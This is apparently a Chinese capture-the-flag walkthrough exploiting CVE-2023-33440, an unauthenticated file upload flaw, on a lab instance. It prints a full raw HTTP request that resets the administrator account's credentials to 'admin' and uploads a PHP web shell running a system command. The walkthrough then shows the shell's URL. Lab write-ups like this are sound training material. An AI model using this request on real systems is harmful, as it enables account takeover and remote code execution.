# 今天我们来攻破CVE-2023-33440任意文件上传漏洞
# 发现页面什么也没有,那我们只能拿工具开始扫描
# 使用御剑来给他进行目录扫描
# 发现http://eci-2zehtkn8du2v7ycdpatr.cloudeci1.ichunqiu.com/login.php这个有登录页面
# 看到介绍说是未受权上传,大概应该是不用登录就能有漏洞,那么我们直接用burp抓包
# 然后我们搞一个poc
POST /ajax.php?action=update_user HTTP/1.1
Host: XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://XXX/index.php?page=report
Content-Length: 750
Content-Type: multipart/form-data; boundary=---------------------------166782539326470
Connection: close
-----------------------------166782539326470
Content-Disposition: form-data; name="id"
1
-----------------------------166782539326470
Content-Disposition: form-data; name="firstname"
Administrator
-----------------------------166782539326470
Content-Disposition: form-data; name="lastname"
a
-----------------------------166782539326470
Content-Disposition: form-data; name="email"
admin@admin.com
-----------------------------166782539326470
Content-Disposition: form-data; name="password"
admin
-----------------------------166782539326470
Content-Disposition: form-data; name="img"; filename="php.php"
Content-Type: application/octet-stream
<?php system("cat /flag");?>
-----------------------------166782539326470--
需要注意poc里面的域名得换成我们自己的,如下图 第二张图需要把前面所有的空格删掉,不然不会回显
最后发现回现
# 我们直接访问
http://eci-2ze9r318c46fnkdif4ei.cloudeci1.ichunqiu.com/assets/uploads/1722767940_php.php
好小子,离成功又近一步!!!